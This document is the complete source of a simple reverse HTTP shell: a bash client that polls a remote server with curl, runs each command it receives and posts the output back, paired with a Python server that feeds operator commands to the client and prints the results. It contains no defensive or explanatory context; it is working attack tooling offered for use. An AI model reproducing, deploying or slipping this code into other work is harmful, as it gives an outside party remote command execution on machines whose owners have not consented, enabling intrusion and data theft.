Simple reverse HTTP shell (bash for client, python for server)

client.sh

#!/usr/bin/env bash
SERVER="$1"
TIMEOUT="$2"
TIMEOUT=${TIMEOUT:-600}
if [ -z "$SERVER" ]; then
   echo -e "\e[31m[!] Usage: bash client.sh [HOST] [Optional curl timeout]\e[0m\n"
   exit 0
fi

curl --silent --max-time $TIMEOUT -X POST --data 'Hello, hacker!' $SERVER
if [ $? -ne 0 ]; then exit -1; fi
while true; do
   command=$(curl --silent --max-time $TIMEOUT $SERVER)
   if [ $? -ne 0 ]; then exit -1; fi
   if [ "$command" = "exit" ]; then
      curl --silent --max-time 5 -X POST --data 'Goodbye, hacker!' $SERVER
      exit 0
   fi
   responce=$($command 2>&1)
   curl --silent --max-time $TIMEOUT -X POST --data "$responce" $SERVER
   if [ $? -ne 0 ]; then
      curl --silent --max-time 5 -X POST --data 'Timeout, goodbye, hacker!' $SERVER
      exit -1
   fi
done

server.py

#!/usr/bin/env python3

from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class Handler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        pass

    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(input("> ").encode('utf-8'))

    def do_POST(self):
        output = self.rfile.read(int(self.headers['Content-Length']))
        print(output.decode('utf-8'))
        self.send_response(200)
        self.end_headers()

def run(server_class=HTTPServer, handler_class=Handler, port=8080):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()